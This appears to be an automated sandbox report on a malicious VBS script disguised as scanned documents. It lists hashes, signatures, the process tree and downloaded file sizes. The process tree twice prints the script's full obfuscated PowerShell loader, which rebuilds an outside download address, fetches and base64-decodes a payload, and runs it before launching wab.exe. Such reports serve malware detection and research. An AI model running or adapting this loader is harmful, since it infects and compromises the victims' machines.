Analysis
-
max time kernel
11s -
max time network
149s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
-
submitted
01-01-2024 09:50
General
-
Target
Scanned_Documents_export-039383-Tiltrkn.vbs
-
Size
87KB
-
MD5
90c81c7b6a37d8782b4ff746a92d7fb7
-
SHA1
ff833ab8e01056a0ba0eb119d131d1c5f14b0433
-
SHA256
2840634c77fdc0d8ea594db41eb8b6d2d18edc86eb723acebaf8d3a99b92aa4f
-
SHA512
6421cceb8c33064b181a0ea31f9238f541ed77e064680654fc999024fb88d83aff883e5f409767785bd8a1f9d63c5bd68070977db44f8b178ee7259de7f12635
-
SSDEEP
1536:1cCkoSdF1qEVoe+kZxsLFxSMsfwQjXA58dTjvboqVeG8X+755c:1cCkoSdFPJ+W6F8wk68lvEqV78A5c
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scanned_Documents_export-039383-Tiltrkn.vbs"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "dir;Function Tilgge9 ($Middeltem){$Chau=5;$Chau++;For($Pressi=5; $Pressi -lt $Middeltem.Length-1; $Pressi+=$Chau){$Frans = 'sub' + 'string';$Androcrat=$Middeltem.$Frans.Invoke($Pressi, 1);$Impet4=$Impet4+$Androcrat}$Impet4;}$Shelderb=Tilgge9 'SubgrhBarbitKarrot BeskpFedts:Amino/Overd/ Ophj8Afski7Prest. Retr1Blanc2 Kidn1Taftd. Holg8Roman7spuyt.Lakfe4Velam4Afhvl/Barrau ridddFeramsKongetByplayApposk SparnLauny.SimonfFotodlCaelia Data ';$Impet401=Tilgge9 'gradeiNatugeRaadsx Punt ';$Fundam = Tilgge9 'Yadav\AcupusFligly SgepsNeksbwRoseno BodnwStibb6Domfl4Emneo\JordeW speciLymphnOctavdSternoSagatw SpirsBedstP UinaoUdskiwstyree UnnarOveraSReserhMilite FronlThomalLorgn\Indisv Uned1 Gnos. Eksp0Diora\MellipDdspao NogewWadiaeUnsocr VasisStamthRupieeholotlrecarlTvivl.DdganeOphavxErhvee Foge ';&($Impet401) (Tilgge9 'Thorm$OrdriHpneumaJustenResetdSassoeDiscoltillasMisplmBuddh2bagpr=Jrgas$AandeeConsin DrmmvRamsh:FlerdwMatteiBiconnSeknidsemiviPanterFejri ') ;&($Impet401) (Tilgge9 'Moust$NegatFMobcauFllesnAfvnnd Trkfa HomemBalan=Spelt$ IndrHForsbaBeanynSulfod TilheOpspilPurses HostmForja2 Cori+Cutle$TreacF FornuRepacnRrfledDelngaDermomProsl ') ;&($Impet401) (Tilgge9 ' Tran$ KateRFljlse GruncIsbaatUnderiMeanit TooluBoast Beva= Beso Facet( Lege(GrahagBufidw MartmGgensi Hype KbestwEucaliGonian Luci3ename2Fordr_FredapBetrarAmabeoBilagcForbieChymisCatbos Nugl Sidew-BadarFReiss KapacPUrugurEksamo Recoc KaraeAaleksDentisUncoiIMugwudIblan=Gluko$Kroms{FornuPStaalIFlyttD Kvin}Soupc) Hand.afsniCRahisoSkylimseriamBibblamilienSpreddvalgpLPastriAutocnMononeadder)Lapar Deni- Caras ShodpUnderlbakskiIsodit Gumm Hands[RectocPupilhEnsilaSyvkarGemme]Bomme3 Flik4Disme ');&($Impet401) (Tilgge9 'Forhr$SondrSUdsputGlyptyIsomer StaliKommenOrthogHaemasOplangfrekv Koben=Klkke Washi$ JugoRScenee MonsclyttetImpudiSynthtInteruCarla[Medic$ HalsREmpireenergc TractWaleriRufustKornfuLoppe.CiffecStemmo Cretu PragnHrevrtWinni- Trit2Onloo]Kikse ');&($Impet401) (Tilgge9 'Chlor$UnderMHazinaMistatGasbrtLbern=Dipol(SucroTSedimeintersUntrutLanca- UncoP Uncoa JuditFlotih mose Huspr$EnergFSilicuTransnStevedCotinaRigmamKutch)Citua Respi- BircAEssennArrivdSalme Nasts(Oater[VddelISamfun Postt ManePRallet ElefrBygsk]bille:Stoof:GibblsStrafiSmectzJurateIdiod Fresh-BistaeBothyqMouss Telep8 Tele)Gomar ') ;if ($Matt) {.$Fundam $Styringsg;} else {;$Impet400=Tilgge9 ' FartSCarcetHeftia OranrPreprtGypsy-PurkeBSmileiparaktWoches NonaTBrandr SedaaAlertnMarkesDelikfForaneBovnerInflu Samvi-SaturSErhveoCustouAdresrArmagcCocheeDemis Kodif$GifteSPapnshKegleeSulfalStatidTavereSkrmpr CombbShagr Bordh- LageDGenneeStupesReklat BraciBrusknNondea StuftHuseriFerieoboulenJvnen Lydbi$TrondH OpfoaKappenLippidradikePreaclTabposFrtidmbrevi2Halml ';&($Impet401) (Tilgge9 'First$UdtmnHStnkpa OutgnElskedSuppeeFdrenl PedasCelommBoghv2Skyde= Tran$KlenfeCurtknLejesv Vens:SavouaAnimepArbejpHundedSkyllaCampdtPhotoaDrypt ') ;&($Impet401) (Tilgge9 'AppalIPrussmBaillpResuroAngiorSubhatHusbo-DiffeMTotaloJoggedOpticuUnbaplGomphe Unwi toweBAerosiUbehjtHoldjsRingeTStatirArbejaFluegn BenfsHldetfUnadjeIncoer Lugt ') ;$Handelsm2=$Handelsm2+'\boplskommu.Bri';while (-not $Hound) {&($Impet401) (Tilgge9 'Visen$BladeHKommioKormauCogenn datadUnshe=Decen(mentoTLastneBisonsSillitCodei-MercePByplaaTrillt MenthHande Rosen$ BereHHuckcaBrandn FlytdNonbre IntelReroos Ekahm Esti2 Buts) Zool ') ;&($Impet401) $Impet400;&($Impet401) (Tilgge9 'FooliSMillitOvereaRekomrSigbetCentr-DatafS apprl EspaeBrneheSmallp Tono Udgan5Rieve ');}&($Impet401) (Tilgge9 'Cruet$RigsmT UdskiServilFelongFieang Tyvaepenol Elem= Intr BedcG ChroeInvultOrogr-SulfaCHarpeo SkaenPredot CoupeLandsnInhabtAcros Total$SvaneHCarolaFolkenFarfadPronoeOverglstilesBottimVoldt2Inone ');&($Impet401) (Tilgge9 'Toron$KirkeL LinjestavstRhytif fond Osmat=fuchs Karen[unsusSBtteryBillesProfitToucheVerdemIsthm. DihyCArkiboWiedsnRegenvPrinte RockrSymfot Mave]Stona:Benzo: ChewFOversrKaprioIsabem PapeBConseaIntersSkidteBesty6tnnon4samstSProcetArethrliminiPhotonFedesgUnboi( Mvfr$ StraTTeethiHovedlDekligCrenegExtereAkkur) Afma ');&($Impet401) (Tilgge9 ' Dete$ toucIBuffemOpaleptraiteHalvktBleci4Uforb2Coarb Bdesy= Knal Supe[BehooSrmegayStangssemivtLeveneUrettmLatin. GraaTMjepsePreusxhonnit Nige.BoltsEBawblnEmpatcTeachoDeodadsprogiBigginFortygAmeri] Bold:Overs:AreolADecolSTndemCMaskeIconspIInkno.PhilaGTsende Lixit AbanSOpdrat SeleraftegiHundenDimetg Beva(Fusle$UniveLUninfemainptrepubfFluxp)Photo ');&($Impet401) (Tilgge9 ' Sild$SisusS MeditoffseeAneurd DistbSpher=Misar$ChickI Ringm Sealp Passe HacktPseud4Vomit2Nigge.BiotrsSpermuRoundbparabsGennetVenenrPredeiBefran VddegLiche(Momen2Reinj4Skrid7Fjrte3Snapp4Balan6Kirke,Sprog1 Auxo9Behnd8Stori2kompo3Ringk)armou ');&($Impet401) $Stedb;}"2⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "dir;Function Tilgge9 ($Middeltem){$Chau=5;$Chau++;For($Pressi=5; $Pressi -lt $Middeltem.Length-1; $Pressi+=$Chau){$Frans = 'sub' + 'string';$Androcrat=$Middeltem.$Frans.Invoke($Pressi, 1);$Impet4=$Impet4+$Androcrat}$Impet4;}$Shelderb=Tilgge9 'SubgrhBarbitKarrot BeskpFedts:Amino/Overd/ Ophj8Afski7Prest. Retr1Blanc2 Kidn1Taftd. Holg8Roman7spuyt.Lakfe4Velam4Afhvl/Barrau ridddFeramsKongetByplayApposk SparnLauny.SimonfFotodlCaelia Data ';$Impet401=Tilgge9 'gradeiNatugeRaadsx Punt ';$Fundam = Tilgge9 'Yadav\AcupusFligly SgepsNeksbwRoseno BodnwStibb6Domfl4Emneo\JordeW speciLymphnOctavdSternoSagatw SpirsBedstP UinaoUdskiwstyree UnnarOveraSReserhMilite FronlThomalLorgn\Indisv Uned1 Gnos. Eksp0Diora\MellipDdspao NogewWadiaeUnsocr VasisStamthRupieeholotlrecarlTvivl.DdganeOphavxErhvee Foge ';&($Impet401) (Tilgge9 'Thorm$OrdriHpneumaJustenResetdSassoeDiscoltillasMisplmBuddh2bagpr=Jrgas$AandeeConsin DrmmvRamsh:FlerdwMatteiBiconnSeknidsemiviPanterFejri ') ;&($Impet401) (Tilgge9 'Moust$NegatFMobcauFllesnAfvnnd Trkfa HomemBalan=Spelt$ IndrHForsbaBeanynSulfod TilheOpspilPurses HostmForja2 Cori+Cutle$TreacF FornuRepacnRrfledDelngaDermomProsl ') ;&($Impet401) (Tilgge9 ' Tran$ KateRFljlse GruncIsbaatUnderiMeanit TooluBoast Beva= Beso Facet( Lege(GrahagBufidw MartmGgensi Hype KbestwEucaliGonian Luci3ename2Fordr_FredapBetrarAmabeoBilagcForbieChymisCatbos Nugl Sidew-BadarFReiss KapacPUrugurEksamo Recoc KaraeAaleksDentisUncoiIMugwudIblan=Gluko$Kroms{FornuPStaalIFlyttD Kvin}Soupc) Hand.afsniCRahisoSkylimseriamBibblamilienSpreddvalgpLPastriAutocnMononeadder)Lapar Deni- Caras ShodpUnderlbakskiIsodit Gumm Hands[RectocPupilhEnsilaSyvkarGemme]Bomme3 Flik4Disme ');&($Impet401) (Tilgge9 'Forhr$SondrSUdsputGlyptyIsomer StaliKommenOrthogHaemasOplangfrekv Koben=Klkke Washi$ JugoRScenee MonsclyttetImpudiSynthtInteruCarla[Medic$ HalsREmpireenergc TractWaleriRufustKornfuLoppe.CiffecStemmo Cretu PragnHrevrtWinni- Trit2Onloo]Kikse ');&($Impet401) (Tilgge9 'Chlor$UnderMHazinaMistatGasbrtLbern=Dipol(SucroTSedimeintersUntrutLanca- UncoP Uncoa JuditFlotih mose Huspr$EnergFSilicuTransnStevedCotinaRigmamKutch)Citua Respi- BircAEssennArrivdSalme Nasts(Oater[VddelISamfun Postt ManePRallet ElefrBygsk]bille:Stoof:GibblsStrafiSmectzJurateIdiod Fresh-BistaeBothyqMouss Telep8 Tele)Gomar ') ;if ($Matt) {.$Fundam $Styringsg;} else {;$Impet400=Tilgge9 ' FartSCarcetHeftia OranrPreprtGypsy-PurkeBSmileiparaktWoches NonaTBrandr SedaaAlertnMarkesDelikfForaneBovnerInflu Samvi-SaturSErhveoCustouAdresrArmagcCocheeDemis Kodif$GifteSPapnshKegleeSulfalStatidTavereSkrmpr CombbShagr Bordh- LageDGenneeStupesReklat BraciBrusknNondea StuftHuseriFerieoboulenJvnen Lydbi$TrondH OpfoaKappenLippidradikePreaclTabposFrtidmbrevi2Halml ';&($Impet401) (Tilgge9 'First$UdtmnHStnkpa OutgnElskedSuppeeFdrenl PedasCelommBoghv2Skyde= Tran$KlenfeCurtknLejesv Vens:SavouaAnimepArbejpHundedSkyllaCampdtPhotoaDrypt ') ;&($Impet401) (Tilgge9 'AppalIPrussmBaillpResuroAngiorSubhatHusbo-DiffeMTotaloJoggedOpticuUnbaplGomphe Unwi toweBAerosiUbehjtHoldjsRingeTStatirArbejaFluegn BenfsHldetfUnadjeIncoer Lugt ') ;$Handelsm2=$Handelsm2+'\boplskommu.Bri';while (-not $Hound) {&($Impet401) (Tilgge9 'Visen$BladeHKommioKormauCogenn datadUnshe=Decen(mentoTLastneBisonsSillitCodei-MercePByplaaTrillt MenthHande Rosen$ BereHHuckcaBrandn FlytdNonbre IntelReroos Ekahm Esti2 Buts) Zool ') ;&($Impet401) $Impet400;&($Impet401) (Tilgge9 'FooliSMillitOvereaRekomrSigbetCentr-DatafS apprl EspaeBrneheSmallp Tono Udgan5Rieve ');}&($Impet401) (Tilgge9 'Cruet$RigsmT UdskiServilFelongFieang Tyvaepenol Elem= Intr BedcG ChroeInvultOrogr-SulfaCHarpeo SkaenPredot CoupeLandsnInhabtAcros Total$SvaneHCarolaFolkenFarfadPronoeOverglstilesBottimVoldt2Inone ');&($Impet401) (Tilgge9 'Toron$KirkeL LinjestavstRhytif fond Osmat=fuchs Karen[unsusSBtteryBillesProfitToucheVerdemIsthm. DihyCArkiboWiedsnRegenvPrinte RockrSymfot Mave]Stona:Benzo: ChewFOversrKaprioIsabem PapeBConseaIntersSkidteBesty6tnnon4samstSProcetArethrliminiPhotonFedesgUnboi( Mvfr$ StraTTeethiHovedlDekligCrenegExtereAkkur) Afma ');&($Impet401) (Tilgge9 ' Dete$ toucIBuffemOpaleptraiteHalvktBleci4Uforb2Coarb Bdesy= Knal Supe[BehooSrmegayStangssemivtLeveneUrettmLatin. GraaTMjepsePreusxhonnit Nige.BoltsEBawblnEmpatcTeachoDeodadsprogiBigginFortygAmeri] Bold:Overs:AreolADecolSTndemCMaskeIconspIInkno.PhilaGTsende Lixit AbanSOpdrat SeleraftegiHundenDimetg Beva(Fusle$UniveLUninfemainptrepubfFluxp)Photo ');&($Impet401) (Tilgge9 ' Sild$SisusS MeditoffseeAneurd DistbSpher=Misar$ChickI Ringm Sealp Passe HacktPseud4Vomit2Nigge.BiotrsSpermuRoundbparabsGennetVenenrPredeiBefran VddegLiche(Momen2Reinj4Skrid7Fjrte3Snapp4Balan6Kirke,Sprog1 Auxo9Behnd8Stori2kompo3Ringk)armou ');&($Impet401) $Stedb;}"1⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
43.3MB
-
Filesize
5.7MB
-
Filesize
256KB
-
Filesize
256KB
-
Filesize
856KB
-
Filesize
43.3MB
-
Filesize
256KB
-
Filesize
1.7MB
-
Filesize
5.7MB
-
Filesize
256KB
-
Filesize
5.7MB
-
Filesize
43.3MB
-
Filesize
43.3MB
-
Filesize
4KB
-
Filesize
5.7MB
-
Filesize
256KB
-
Filesize
5.7MB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
512KB
-
Filesize
32KB
-
Filesize
2.9MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
43.3MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
1.7MB
-
Filesize
43.3MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
43.3MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
43.3MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB
-
Filesize
16.4MB